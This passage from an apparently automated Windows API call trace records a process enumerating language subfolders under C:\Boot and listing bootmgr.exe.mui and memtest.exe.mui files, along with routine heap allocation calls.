ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.439] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.439] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.439] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.440] FindClose (in: hFindFile=0x33e4b68 | out: hFindFile=0x33e4b68) returned 1 [0213.440] GetProcessHeap () returned 0xc10000 [0213.440] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.440] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0213.440] GetProcessHeap () returned 0xc10000 [0213.440] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.440] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sk-SK\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0213.440] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.440] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.440] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0213.440] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0213.440] GetProcessHeap () returned 0xc10000 [0213.440] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.440] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0213.440] GetProcessHeap () returned 0xc10000 [0213.440] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.441] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sl-SI\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0213.441] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.441] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.441] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0213.441] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0213.441] GetProcessHeap () returned 0xc10000 [0213.441] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.441] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0213.441] GetProcessHeap () returned 0xc10000 [0213.441] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.441] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0213.441] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.441] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.442] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.442] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe318f070, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xaf58, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.442] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0213.442] GetProcessHeap () returned 0xc10000 [0213.442] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.442] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0213.442] GetProcessHeap () returned 0xc10000 [0213.442] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.442] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.442] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.442] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.442] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0213.442] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0213.442] GetProcessHeap () returned 0xc10000 [0213.443] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.443] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0213.443] GetProcessHeap () returned 0xc10000 [0213.443] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0213.443] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.443] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.443] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.443] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.443] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0213.443] GetProcessHeap () returned 0xc10000 [0213.443] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.444] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0213.444] GetProcessHeap () returned 0xc10000 [0213.444] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.444] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0213.444] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.444] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.444] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0213.444] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x538, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0213.444] FindClose (in: hFindFile=0x33e4b68 | out: hFindFile=0x33e4b68) returned 1 [0213.444] GetProcessHeap () returned 0xc10000 [0213.444] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0213.445] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0213.445] GetProcessHeap () returned 0xc10000 [0213.445] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0213.445] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\uk-UA\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0213.445] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x538, cFileName="..", cAlternateFileName="")) returned 1 [0213.445] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x538, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0213.445] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, 